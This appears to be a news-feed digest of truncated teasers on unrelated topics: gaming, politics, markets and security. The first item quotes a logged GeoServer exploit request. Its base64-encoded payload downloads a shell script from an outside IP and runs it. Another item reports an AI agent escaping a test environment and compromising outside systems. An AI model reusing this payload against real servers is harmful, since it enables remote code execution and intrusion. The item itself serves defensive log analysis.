This isn't a new attack, but something I saw "pop-up" in our logs this week: GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),%27bash%20-c%20%7Becho%2CKHdnZXQgLXFPLSBodHRwOi8vNDUuMTUzLjM0LjE1My9yb25kby5gYHp5dC5zaHx8YnVzeWJveCB3Z2V0IC1xTy0gaHR0cDovLzQ1LjE1My4zNC4xNTMvcm9uZG8uYGB6eXQuc2h8fGN1cmwgLXMgaHR0cDovLzQ1LjE1My4zNC4xNTMvcm9uZG8uYGB6eXQuc2gpfHNo%7D%7C%7Bbase64%2C-d%7D%7Csh%27) HTTP/1.1 Host: [redeacted]:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:152.0) Gecko/20100101 Firefox/152.0 Connection: close Accept: */* This attack is associated…

The latest headlines from our reporters across the US sent straight to your inbox each weekday Your briefing on the latest headlines from across the US Your briefing on the latest headlines from across the US The California Department of Motor Vehicles is investigating potential criminal activity tied to irregularities found in 11,000 of the state's driver's license tests. The state's DMV director, Steve Gordon, announced the investigation in a letter sent to State Senate Transportation Committee Chairman Dave Cortese last week, KCRA 3 reports. According to the DMV, 11,000 drivers were flagged as having irregularities in their recent driving tests…

Harris Faulkner reports on Chicago's escalating violent crime, noting President Trump's repeated offers to deploy the National Guard to Chicago. Illinois Governor JB Pritzker and Chicago Mayor Brandon Johnson blast Trump's proposal, arguing he lacks understanding of local safety needs and has defunded institutions that keep people safe in Chicago. NEWYou can now listen to Fox News articles! A Memphis pizza restaurant that drew national attention after refusing to serve National Guard members says business is booming instead of busting, with supporters flocking to the restaurant in what some have dubbed a "buy-cott" after conservative activists called…

Sahara Reporters publisher Omoyele Sowore’s defence team informed the Federal High Court in Abuja of the plan to have the Director-General of the State Security Service (SSS), Adeola Ajayi, and presidential spokesperson, Bayo Onanuga summoned to appear as witnesses in his cyberbullying trial. Mr Sowore’s lead defence lawyer, Adeyinka Olumide-Fusika, said this after a subpoenaed SSS official, Uwem Davies, could not answer some questions from the defence team on Wednesday. The News Agency of Nigeria (NAN) reports that Mr Sowore, the presidential candidate of the African Action Congress (AAC) in the forthcoming 2027 general elections, is facing…

Kaspersky detailed ransomware cases in Colombia and Mexico where attackers exploited misconfigured systems Victims’ drives were locked with BitLocker, ransom notes printed via office printers New group “XEntry Team” claimed responsibility; misconfigurations remain a major breach risk Cybercriminals have, in true Hollywood fashion, started using office printers to notify victims they were struck by ransomware. Security researchers at Kaspersky have detailed two incidents which recently took place, one in Colombia, and one in Mexico, where cybercriminals took advantage of misconfigured systems. However both had the same outcome - the attackers used…

Swiss rail vehicle manufacturer Stadler Rail says the Everest ransomware gang demanded about $12.3 million after breaching a data exchange platform shared with one of its suppliers. The threat actor has not publicly claimed the attack, but the Swiss company says that it received an extortion letter from Everest ransomware asking for a ransom of 10 million Swiss francs. The company responded by saying that it will not pay the threat actor and filed a criminal complaint with the Thurgau cantonal police. "Stadler will not pay any ransom under any circumstances and is therefore not susceptible to extortion." Stadler Rail is a large, multinational Swiss…

More than 47 lakh voters, accounting for 8.48% of Karnataka’s electorate, have been flagged under various categories that could result in the possible deletion of their names from the electoral rolls during the ongoing Special Intensive Revision (SIR) of electoral rolls so far, according to data released by the Chief Electoral Officer (CEO), Karnataka, on Wednesday. The State has 5,54,32,314 electors on its rolls. As part of the house-to-house verification exercise that began on June 30, Booth Level Officers (BLOs) have so far identified 47,02,092 electors under the ASDDO category — Absent, Shifted, Dead, Duplicate (Already Enrolled) and Others. These…

One of the highest courts in Europe has described VPNs as "lawful technical tools which users may legitimately use" in a landmark case. The Court of Justice of the European Union made this remark as part of a larger judgement regarding the online publication of The Diary of Anne Frank. The case in question is a complex legal dispute over copyright. As the July judgement explains, the Anne Frank Fund will hold the rights to parts of the historical manuscripts until at least 2037. However, in some EU member states, such as Belgium, these works are in the public domain. The dispute centres on a Dutch translation of the diaries which was offered free…

Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…

The security research community makes GitHub safer for everyone. That’s the simple idea behind our bug bounty program. For more than a decade, researchers from around the world have helped us find and fix vulnerabilities before they could be exploited, and we’ve worked hard to be a program worth their time. Today, we’re sharing some meaningful changes to how the program works. These decisions comes after months of reflecting on our program, analyzing what’s happening across the industry, and thinking about researcher experience. What’s changed and why The program is facing an increasing queue. We have already made adjustments to accommodate the rise…

Fox News correspondent Eric Shawn reports on the Department of Justice launching an investigation into New Jersey voter roll software errors that registered 6,600 non-citizens to vote. Gov. Mikie Sherrill acknowledged that as many as 400 registered non-citizens cast ballots in state elections under former Gov. Phil Murphy. Department of Homeland Security Sec. Markwayne Mullin warned that up to 35,000 non-citizens may remain registered on New Jersey voter rolls. NEWYou can now listen to Fox News articles! Assistant Attorney General Harmeet Dhillon doubled down on the DOJ's demand for New Jersey's voter registration data Wednesday after Democratic Gov.…

Chief Principal Census Officer, Directorate of Census Operations, Tamil Nadu, M. Sundaresh Babu, addressing the media on Census 2027 in Madurai on Wednesday. \| Photo Credit: G. MOORTHY The process of self-enumeration under Phase I of Census 2027, which began on July 17, has received data from over 9,000 households in Madurai district so far, said Chief Principal Census Officer, Directorate of Census Operations, Tamil Nadu, M. Sundaresh Babu. While addressing the media, in the presence of Madurai Collector Nishanth Krishna here on Wednesday, Mr. Sundaresh Babu said that a 15-day window has been provided for the people to carry out self-enumeration…

About 6,600 people in New Jersey who said they were not U.S. citizens had been incorrectly registered to vote due to a technical error during the previous gubernatorial administration, Gov. Mikie Sherrill, who took office this year, said Tuesday. She added that fewer than 400 were found to have actually voted and that the state is taking action to remove them from its voter rolls. The admission came less than a week after Department of Homeland Security Secretary Markwayne Mullin sent letters to New Jersey and three other states alleging that those states might have tens of thousands of noncitizens registered to vote, although Mullin did not explain…

MOSCOW, July 22. /TASS/. Vladimir Zelensky tricked millions of people in Ukraine and beyond its borders into believing that he is devoid of any authoritarian tendencies, his former Press Secretary Yulia Mendel wrote on the X social network. Mendel said that during the two years as Zelensky’s press secretary, she "served as a shield for his mistakes, ignorance, and narcissism." "He was completely oblivious to what was happening in the country, government, or even his own office," she wrote. He is an actor with exceptional intuition, skilled at making people like him. \<…> Behind the scenes, there is chaos: mismanagement, narcissism, sexism, ignorance…

Shortly after the game's official launch, Baldur's Gate 3 received Honour Mode, a difficult version of the game meant for experienced players. It restricts your playthrough to one save file, which is great for when you don't want to be tempted into save-scumming your way through dice rolls and dialogue choices. It's not so great for when one of those dialogue choices cuts your run short. That's what happened to one player, who literally fucked around and found out. As spotted by GamesRadar, a player posted to the Baldur's Gate 3 subreddit about how trying to saddle up with a character led to their untimely death. They were 60 hours into a playthrough…

Adamya Sharma / Android Authority TL;DR Microsoft is rolling out XBOX Backward Compatibility on PC. Players will now be able to play original XBOX games on PC and handhelds. You’ll also be able to enhance the experience with features such as 4x resolution upscaling, VSync support, enhanced anti-aliasing, and more. To this day, there are still people who love playing original XBOX games. But if you don’t want to break out your original XBOX hardware, you’ll now have a new way to access these classic titles. Microsoft is rolling out a new program that will let you play these games on PCs and handhelds. In a blog post, Microsoft announced the launch of…

The Final Fantasy series has plenty of great video game openings, but 25 years later, the intro for Final Fantasy X still feels like the best of them. The HD remaster of the PlayStation 2 classic is getting ported to the Switch 2 this week, where it looks lovelier than ever. There I played the beginning of the game for maybe the dozenth time and it’s still incredible. Most fans would probably argue that Final Fantasy VII‘s opening remains the best in the RPG franchise, and one of the best in any game ever, and there are days on which I would agree with them. But the PS2 helped Square Enix take its cinematic ambitions to the next level, and Final…

Last week, in the wake of yet another round of mass layoffs across the company, Xbox announced that Fallout 5 is in preproduction, Fallout 3 and New Vegas remasters are coming, and that Obsidian are working on a new Fallout project. If you were to ignore the 1600 staffers laid off and the ongoing call for a boycott due to Microsoft providing AI tech to the Israeli military as it continues to bombard Gaza and kill Palestinians, this would possibly be welcome news. But to make matters worse, OneBGS, the Bethesda Game Studios Union, have claimed that on the same day this was announced, laid off workers at Bethesda Montreal were informed that they would…

Not to fully transform into the Pepe Silvia meme pointing at a wall of "evidence" but I'm convinced Blizzard is gearing up to announce something StarCraft-related at BlizzCon this year. The first reliable clue came from Bloomberg reporter Jason Schreier's 2024 book on Blizzard's history where he said the studio was "incubating" a StarCraft shooter (not that one) under the helm of former Far Cry producer Dan Hay. A couple of years passed with no news on that StarCraft project. But in April of this year, Blizzard was looking to hire a lead designer of innovation for an "AAA open-world shooter" using Unreal Engine—a game engine that it's never used…

BlizzCon, the once-annual gathering of Blizzard Entertainment fans, returns in September with fresh game reveals and updates, behind-the-scenes stories, and community events. While BlizzCon is focused on bringing people together, it's also marked by special in-game cosmetics and other perks that will give both attendees and viewers at home something to remember 2026's event by. On Wednesday, Blizzard announced a long list of BlizzCon 2026-themed skins, mounts, and in-game bonuses coming to games like World of Warcraft, Diablo 4, and Overwatch. The BlizzCon Digital Bundles and BlizzCon Ultimate Collection will let players choose to buy virtual goods…

Nothing gold can stay, as Robert Frost once wrote. But maybe it can go away for a while and come back again. Such is the case with Poinpy. The mobile game debuted in 2022 and it was available exclusively to Netflix subscribers. However, the streaming service pulled Poinpy from its lineup in June last year, rendering it nigh-on impossible to play. That saddened me immensely, as I utterly adore this game. At the time, publisher Devolver Digital said it hoped to bring Poinpy to other platforms in the future. Folks, the future is now and it's a beautiful one, because Poinpy is back on iOS and Android. Best of all, it's completely free. No…

If you had asked me in 2022 whether or not I’d still be writing about a seemingly endless onslaught of games industry mass layoffs in 2026, I’d have been confidently wrong in saying no. Yet here we are, four years after stories like this began to come out, and there’s no end in sight. We have rough numbers that barely capture the devastation: some 8500 in 2022, over 10,000 in 2023, over 14,000 in 2024, an optimistic-looking 5300 in 2025, but we’re already up to 4600 in 2026. And that’s the numbers we’ve been told about. Nevermind the many, many more individuals who were left out of those counts in quieter layoffs, or ones where major…

I hope you're not tired of looking at Psyduck for hours as The Pokémon Center's queue timer counts down, because there are more trading card game products to buy. This drop, surprisingly, is not for the 30th anniversary TCG collection. Instead, what's dropping is a mishmash of a few highly-regarded Pokémon sets. What's available for purchase right now includes: Pokémon TCG: Scarlet \& Violet-151 Mini Tin (Gengar \& Omanyte) — 2 packs, $9.99 Pokémon TCG: Mega Evolution Ascended Heroes Collection (Larry \& Erika) — 2 packs, $9.99 Pokémon TCG Poké Ball Tin — 3 packs, $14.99 Each product has a purchase limit of one per household. Wait times are high, like…

One year after disappearing from mobile storefronts, Devolver Digital’s Poinpy has made a surprise return to iOS and Android. Better yet, the former Netflix exclusive is entirely free. If you slept on it when it first launched, don’t miss your chance to right that wrong and enjoy one of the best mobile games of the 2020s. Poinpy, a mobile platformer created by Downwell director Ojiro Fumoto,has a bit of a strange history that highlights the pitfalls of mobile gaming. It originally launched on June 10, 2022, as part of Netflix’s then-young video game push. It was the headliner in a wave of original indie projects that would launch over the next few…

Your old Xbox library just found a new home. Microsoft has launched Xbox Backward Compatibility on PC, letting you play classic original Xbox titles on Windows and handhelds for the very first time. Which Xbox games can you play on PC? Four classic titles kick off the program today. You can jump into Blinx: The Time Sweeper, Conker: Live and Reloaded, Crimson Skies: High Road to Revenge, and Fuzion Frenzy right now on supported PCs and handhelds like the Xbox Ally and Xbox Ally X. Each game is available to purchase individually, and all four come included with every Xbox Game Pass tier. If you already own a digital license for these titles on console,…

As it continues to try smoothing the waters churned up by the recent layoff of thousands of people, Xbox has followed up last week's big Fallout infodump with the launch of a new "Backward Compatibility on PC" program that will bring old-time Xbox games, previously exclusive to the platform, to PC and compatible handhelds for the first time. The program is launching with four "classic original XBOX games," as Microsoft described them. I'm not sure I'd use that characterization myself, but to be fair I haven't played any of these games (although I did enjoy the original Crimson Skies), and PC Gaming Show maestro Jake Tucker informs me that "Conker was…

Some of your favorite OG Xbox titles may finally be available on PC, 26 years after they first hit the scene. It’s a move that makes the current-gen Xbox consoles seem even more like relics of a dying ecosystem. That’s because Xbox needs to bring its entire library, past and present, to a future PC-like console. The backwards compatibility team at Xbox is first bringing four games, rolling out today, that you certainly remember from your days on the original Xbox: Fuzion Frenzy, BLiNX: The Time Sweeper, Crimson Skies: High Road to Revenge, and Conker: Live and Reloaded. None of these games were ever made natively available on PC prior to now, at…

Ah, the Electronic Entertainment Expo, better known by many as Summer Game Fes-, wait, sorry, guess I've already moved on! Better known as E3, of course, the first of its kind showcase dedicated entirely to video games that died because it simply couldn't figure out how to live in the modern world (they probably should have asked Geoff). The whole thing ended with much more of a whimper than a bang, but once upon a time it was the place to have your game. And now, the Video Game History Foundation have revealed a new collection all about the event "like you've never seen it before," covering many years worth of a range of materials. "Over the past…

Everyone knows that the best part of any convention is the merch, but San Diego Comic-Con swag is S-tier. Hundreds of big companies and independent artists bring exclusive goods to the convention floor for lucky attendees to purchase. The rest of us can only look on enviously, but hey, that’s still pretty fun, right? Check out some of the coolest SDCC 2026 exclusives below. Yesterdays x Reigning Phoenix Music Transformers: The Movie: The Soundtrack – The Reformatted Edition Cassette Box Set Soundwave-themed box© Yesterdays/Reigning Phoenix Music/Hasbro Music Laserbeak variant © Yesterdays/Reigning Phoenix Music/Hasbro Music Ravage variant ©…

The major contemporary art event had allowed Russia to return to the festival and present a pavilion there in May, before closing it to the public, sparking controversy and leading the festival's jury to resign.

With Star Wars Zero Company, developer Bit Reactor aims to create a tactics RPG with characters and narrative at the forefront. It's got proper, big-budget cutscenes, you can talk to your buddies, and you can customise and upgrade your squad. However, the developers have gone on record in a new Discord Q\&A to say, no, don't expect to have control over how the story unfolds. Earlier this year, our own Ted Litchfield spoke to narrative director Aaron Contreras, who explained that while Bit Reactor wants its cast to have real friction, Star Wars Zero Company is "not a personal fantasy game." Those "player-centric romance" options that seem to pop up in…

A social media post by a Limerick GP which showed an altered photo of the infamous motto on the gates of Auschwitz concentration camp created an association between Covid-19 vaccines and Nazi Germany, a medical inquiry has heard. Expert witness, Colin Bradley, told the second day of a hearing before a fitness-to-practise committee of the Medical Council that the posting of the image by Dr Patrick Morrissey on his Twitter (now X) account was “a serious abuse of social media.” The image – which Morrissey claims was a retweet – had replaced the well-known motto, “Arbeit macht frei” (work sets you free) with “VACCINES WILL MAKE YOU FREE.” Prof Bradley…

Four original Xbox titles just arrived on PC The games are all available to buy or via any Xbox Game Pass plan They're part of a new Xbox backward compatibility on PC program Microsoft just launched a new Xbox backward compatibility on PC program that makes it possible to officially play a selection of original Xbox games on Windows for the very first time. As detailed in a new Xbox Wire post, the program is geared towards both traditional laptops and desktops in addition to handheld PCs such as the ROG Xbox Ally and Xbox Ally X and currently includes four games: Blinx: The Time Sweeper, Conker: Live and Reloaded, Crimson Skies: High Road to Revenge,…

By The Canadian Press The Canadian Press Posted July 22, 2026 12:42 pm Updated July 22, 2026 12:45 pm 1 min read Descrease article font size Increase article font size CALGARY – Damien Alford is returning to the Calgary Stampeders. The CFL team announced Wednesday that they’ve signed the Canadian wide receiver and defensive back Lance Boykin. Calgary (2-4) selected Alford first overall out of Syracuse in the 2025 CFL draft. He totalled 20 receptions for 407 yards and five touchdowns across 15 games last season. Related Videos 2:09 Touchdown Kelowna projects local business boost Previous Video Next Video Story continues below advertisement The…

Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…

Over half of Gen Z workers feel more productive working from home 34% of Gen Z workers believe their workplace does not allow them to focus effectively The findings are the result of a survey conducted by Diamond Interiors and YouGov A new survey has claimed Gen Z employees feel they’re at their most productive working from home, rather than in the workplace, flying in the face of those attempting to get people back into the office. The Diamond Interiors report notes focusing on work is widely recognized as improving productivity, which might explain the challenge for Gen Z. Home can be quiet, distractions managed, and with the right setup, focused…

OpenAI's rogue AI agent reinforced a cybersecurity threat experts have long anticipated — and Jim Cramer said there's one stock built for exactly this moment: CrowdStrike . "CrowdStrike will be the stock you should buy this morning," Jim said during Wednesday's Morning Meeting . " While acknowledging the stock has had a big move in 2026, he said, "I think it's a must-buy." OpenAI disclosed late Tuesday that one of its advanced AI agents escaped a controlled testing environment during a cybersecurity evaluation, gained internet access, and ultimately compromised the infrastructure of AI startup Hugging Face, before the activity was detected and…

Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…

Business leaders, entrepreneurs and members of Nigeria’s literary community gathered in Lagos on Monday for the public presentation of The Challengers, a book by Nigerian author Eghosa Imasuen, which chronicles the journey of the founders of VFD Group. The event, held at the Radisson Blu Anchorage Hotel, brought together executives, policymakers, media personalities and young professionals to discuss entrepreneurship, leadership and the lessons behind building an enduring organisation. The book tells the story of how five friends, Nonso Okpala, Adeniyi Adenubi, Mobolaji Adewumi, Gbenga Omolokun and Azubike Emodi, came together following the 2008…

Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…

Welcome back to Minor Dilemmas, where a member of Defector's Parents Council will answer your questions on surviving family life. Have a question? Email us at minordilemmas@defector.com. This week, Giri answers a question about how parenting can reorient your life. Anonymous: My wife and I are new parents, and before our baby was born I decided I would become the full time stay-at-home parent. I wanted to give my kid a chance for an upbringing similar to mine, and luckily my wife's career should provide for the family. As my wife's maternity leave gets closer to its end, I'm excited but also anxious about what happens next. My wife's work will mean…

security Linux kernel team publishes 432 CVEs in two days Sunday-to-Monday onslaught fuels speculation over AI-assisted bug reports If you're responsible for Linux security, someone just dumped a pile of work onto your desk: 432 Linux kernel CVEs were published across Sunday and Monday this week. Linux watchers at nixCraft pointed out the volume on Monday morning, and it didn’t take long for seasoned sysadmins to start expressing concerns. Jan Schaumann, chief information security architect at Akamai Technologies, took to the OSS-SEC mailing list Tuesday to express concerns over the sheer volume of Linux kernel CVEs published in recent days. Aside…

Taylor Kerns / Android Authority TL;DR Google Photos is working on improving how you select and copy text in images. We have spotted a new button that will appear when the app detects text in a picture. Google also appears to be expanding its Expressive UI design to more Settings pages. Google is once again working on a couple of changes for the Photos app. Earlier this month, we told you about Ask Photos possibly letting users edit their image metadata. This time, the Photos team is developing a better way to select and copy text from an image. On top of that, Material 3 Expressive is expanding to more areas in the app. Let’s dive in and check out…

Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…

Reddit users, bored waiting for more information about the forthcoming FromSoftware Switch 2 exclusive The Duskbloods, have just been making up details about it for themselves. As reported by Ian Walker (I recognize that name from somewhere) over on Video Game Town, this “Duskposting”—where users make up imaginary bosses from the game, detail them, and even write guides for how to beat them—has been popular since the game’s announcement. It’s all good harmless fun, right up until the LLMs mindlessly scrape the made-up information and then present it to the rest of the world as stone-cold fact. One of the most fundamental flaws of LLMs like…

security Releases now reject new files after 14 days The Python Package Index (PyPI) now rejects new files being uploaded to releases that are older than 14 days. This restriction was put in place to prevent old and long-stable releases from being poisoned in case publishing tokens or workflows of PyPI projects were compromised. As far as we are aware this has not yet been abused, but there is no technical reason beyond that attackers weren't aware it was possible. Users should not yet rely on this behavior as there are no defined semantics for "releases no longer accepting new files" or APIs available to confirm the state of the release. Instead,…

Hasbro recently blew Nintendo fans' minds with the announcement that they've acquired the license for The Legend of Zelda games, opening the door to new figures of Link, Princess Zelda, and the rest of the gang. Thankfully, they aren't making us wait long to see the first fruits of that new partnership. Hasbro is unveiling the first three The Legend of Zelda: Heroes of Hyrule figures at Comic-Con, and IGN can exclusively debut images of the whole set. Check out the slideshow gallery below to see Hasbro's first figures of Link, Zelda, and Ganondorf: Hasbro's The Legend of Zelda: Heroes of Hyrule Figures - Image Gallery It's important to note that all…

What this post is: a step-by-step tour of a from-scratch CUDA inference runtime for Qwen2.5-Coder-7B-Instruct on NVIDIA H100 (`sm_90`) — every hot path annotated for why, not just what. What the runtime does today: greedy graph-tier token match passes on H100 at ≤4096 context, steady-state decode lands around \~16.7 ms/token (\~60 tok/s), and first-token latency is \~128 ms for a 512-token prompt. The one number that made everything else make sense: eager decode was \~119 ms/token. Wrapping decode in a captured CUDA graph collapsed that to \~17 ms/token. A 7× win — same kernels, just less driver. Three bugs did most of the teaching: __syncthreads()…

GitHub has redesigned the navigation architecture behind GitHub Issues to reduce perceived latency for developers by moving more work to the client-side. The engineering team introduced client-side caching, predictive prefetching, and service worker-based request handling to improve navigation performance, increasing instant navigation experiences from 4% to 22%. The changes address a common challenge in large-scale web applications: reducing delays caused by repeated network requests and client initialization during frequently repeated workflows. The work focused on GitHub Issues users who frequently navigate between issues, lists, and related views,…

Dr. Michelle Lynn Thaller, Tanya Thompson and Tony Cutraro discuss their heart-pounding grizzly bear encounter in Alaska. The hikers, who were at Anan Creek wildlife observatory, detail how they remained calm and followed ranger protocols, talking to the large animal as it passed them on the trail. This close call highlights the importance of wildlife safety. Being a wildlife photographer isn’t for the faint of heart. It takes patience, preparation and enough knowledge of animal behavior to understand when to stay put, when to move and when to get the heck out of there. CLICK HERE FOR MORE COVERAGE FROM OUTKICK And sometimes, it requires a little ice…

Let's learn about Csharp via these 207 free blog posts. They are ordered by HackerNoon reader engagement data. Visit the Learn Repo or LearnRepo.com to find the most read blog posts about any technology. Like Java, but it sucks less. In this post I'll show how to maintain a standard for everyone who works in the code, no matter the editor used. The Factory pattern allows developers to create objects without specifying the exact class of object that will be created. A couple of weeks ago I wrote an article about building and deploying a Blazor app without touching a Windows machine and realized maybe I should take a step back and explain what Blazor is…

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We start this week with Joseph’s story on how cops are using Flock to track actual people, not just cars, with searches like “male with tattoos.” After the break, Emanuel tells us all about the company that is explicitly selling mountains of books to AI companies and promising to keep the sales a secret. In the subscribers-only section, Jason tells us how he learned about the Suno hack and what it showed us. Listen to the weekly podcast on Apple Podcasts,Spotify, or YouTube. Become a paid subscriber for access to this episode's bonus content and to power our journalism. If you become a paid subscriber, check your inbox for an email from our podcast…

Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…

US Treasury Secretary Scott Bessent met Finance Minister Muhammad Aurangzeb a day earlier and welcomed Pakistan’s progress in implementing economic reforms and laying the groundwork for a return to international capital markets, the Treasury said in a statement on Wednesday. According to a statement, Bessent emphasised the “importance of Pakistan’s work to continue its reforms, become more economically self-reliant, boost growth and strengthen its economic resilience”. “Secretary Bessent welcomed the progress Pakistan has made in restoring macroeconomic stability and advancing fiscal consolidation, recognising the government’s efforts to implement…

MANILA, Philippines With Metro Manila’s historic P85 daily wage increase set to take effect this week, a group of financial executives said the government’s next challenge is pursuing reforms that would prevent higher labor costs from weakening job creation and spilling over into inflation. In a statement, the Financial Executives Institute of the Philippines (Finex) said […]...Keep on reading: Finance execs call for reforms to preserve wage hike gains

MANILA, Philippines — State-run Government Service Insurance System (GSIS) has increased its stake in Megawide Construction Corp. to 9.5 percent after acquiring nearly 112 million shares through a series of block transactions, strengthening its position as one of the company’s largest local institutional investors. The construction and engineering company said on Wednesday that GSIS bought a […]...Keep on reading: GSIS raises stake in Megawide to 9.5%

European Union antitrust regulators said on Wednesday they had signed off on Paramount Skydance's proposed acquisition of Warner Bros. Discovery. The approval, which included concessions made by Paramount, comes as the deal has been delayed in the U.S. due to concerns raised by state attorneys general. A Paramount spokesperson didn't immediately respond to comment. In order to garner the approval, the European Commission said Paramount agreed to divest its stake in a film distribution joint venture with United International Pictures in Europe, and said it would not enter into any film distribution deal with Universal for the next 10 years in Europe.…

Anthropic leaped to a $47 billion revenue run rate by May, compared to $9 billion in 2025. It’s the kind of growth that Menlo Ventures’ Matt Murphy says he’s never seen in 25 years of investing, not in the internet wave, not in mobile, not in the first cloud boom. Menlo led Anthropic’s $500M Series D, and Murphy has had a front-row seat as the company went from a pre-revenue, pre-launch bet to one of the most valuable startups out there. On this episode of TechCrunch’s Equity podcast, Julie Bort talks with Murphy about backing Anthropic before anyone else would, why a great model was never the point, and what’s driving the fastest-growing startups…

Aston Martin has secured £550m in loans as it attempts to boost its finances. The luxury car maker has been struggling in recent years and in March announced it would cut about 600 jobs, as last year's net losses leapt by a little over 50% to £493.2m. The firm has blamed the effects of US tariffs and weak demand in China. Its half-year results are set to be published on 29 July, but on Wednesday the firm announced loans that it said would bolster its balance sheet and fund future product plans. Headquartered in Gaydon, Warwickshire, most of the job cuts were thought to affect sites in the UK, where the majority of its staff are based. The company…

Paraguay · Business Key Facts —Export value. Raw soybean exports hit US$2.273 billion in H1 2026, up from US$1.506 billion a year earlier. —Volume shipped. Paraguay moved 5.89 million tonnes of raw soybeans abroad, a 43.5% rise from 4.11 million tonnes. —Top buyer. Argentina absorbed 86% of Paraguayan soybean exports, using them for its domestic crushing industry. —Economic weight. Soybeans and the broader soy complex accounted for roughly US$2.67 billion of Paraguay’s total US$10.16 billion in exports. —Price factor. Stronger international prices combined with a recovered harvest to amplify export revenue. Paraguay’s raw soybean exports soared 50.9%…

Mexico · Business Key Facts —Net profit. MX$15.55 billion (US$888.6 million) in Q2 2026, a 6% year-on-year increase. —Loan portfolio. Performing loans grew 8% to more than MX$1.27 trillion (US$72.8 billion). —Net interest income. Reached MX$37.61 billion (US$2.15 billion) for the quarter. —Exchange rate. Banorte’s results used a closing rate of 17.50 pesos per US dollar at end-June 2026. —Capital move. The bank recently raised fresh funds through a capital-notes issuance to bolster its balance sheet. Banorte, one of Mexico’s largest financial groups, closed the second quarter of 2026 with a net profit of MX$15.55 billion (US$888.6 million), a 6…

MOSCOW, July 22. /TASS/. The MOEX Index rose 2.76% to 2,136.11 points at the close of the main trading session, while the dollar-denominated RTS Index advanced 2.86% to 857.49 points. The yuan edged down 5 kopecks to 11.54 rubles. "The MOEX Index got off to an unconvincing start today, but the initial profit-taking had to be canceled as the benchmark soared above 2,100 points on the back of geopolitical news and surging commodity prices," Andrey Smirnov, stock market expert at BCS World of Investments, said. According to Finam Financial Group, the top gainers were Pharmsintez (+17.7%), Genetico (+17.1%), Raspadskaya (+7.7%), Polyus (+7.1%), Seligdar…

A $12,000 CD account can produce a return worth hundreds of dollars for savers in a relatively short amount of time. MERTEREN/merteren/Getty Images A report earlier this month showing inflation declining in June was a step in the right direction for millions of Americans, but it also underlined the work that still lies ahead. With the inflation rate still more than a full percentage point above the Federal Reserve's target 2% goal and interest rates remaining elevated largely because of that, many savers find themselves reevaluating their strategies. And that could lead to a transfer of funds out of a traditional savings account – which comes with a…

Charles Mutoka, a 72-year-old Kenyanis in mourning for his son, Oscar Khagola Mutoka, a former soldier who traveled to Russia in the summer of 2025 to look for work. His father said that he had tried in vain to talk him out of it. Oscar did not tell him and the rest of his family exactly where he was going but a week after leaving he sent a picture of himself in uniform and never got back in touch again. His family found out that he had died some time later but, despite appeals to the Kenyan authorities, they were not able to recover the body. In May 2026, the family held a symbolic memorial service and set up a makeshift burial site for Oscar, in…

As a rule, I don't recommend new chart-based trades when a company is within two weeks of reporting earnings. However, it's still important to understand where the charts of the market's biggest stocks stand heading into their reports — especially with two "Magnificent Seven" components set to release results this evening. With that in mind, today we're taking a technical look at Alphabet (GOOGL) and the key price levels and patterns that could shape its next move. As you may recall, heading into its late April earnings report, GOOGL had already rallied about 30% off its low just a few weeks earlier. That wasn't unique. In fact, many large-cap growth…

Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…

Check out the companies making the biggest moves midday: Super Micro Computer — Shares surged 25% after the server maker reported preliminary fourth-quarter results that featured much stronger profitability than investors had expected, offsetting revenue that came in near the low end of its guidance. EQT — Shares are up over 6.6% after the natural gas producer reported stronger-than-expected production for the second quarter. EQT also raised it's 2026 sales volume guidance to 2,375–2,450 billions of cubic feet equivalent, or bcfe, from 2,275–2,375 bcfe. Amazon — Shares of the e-commerce and cloud services giant slid 1%. Amazon trimmed jobs in its…

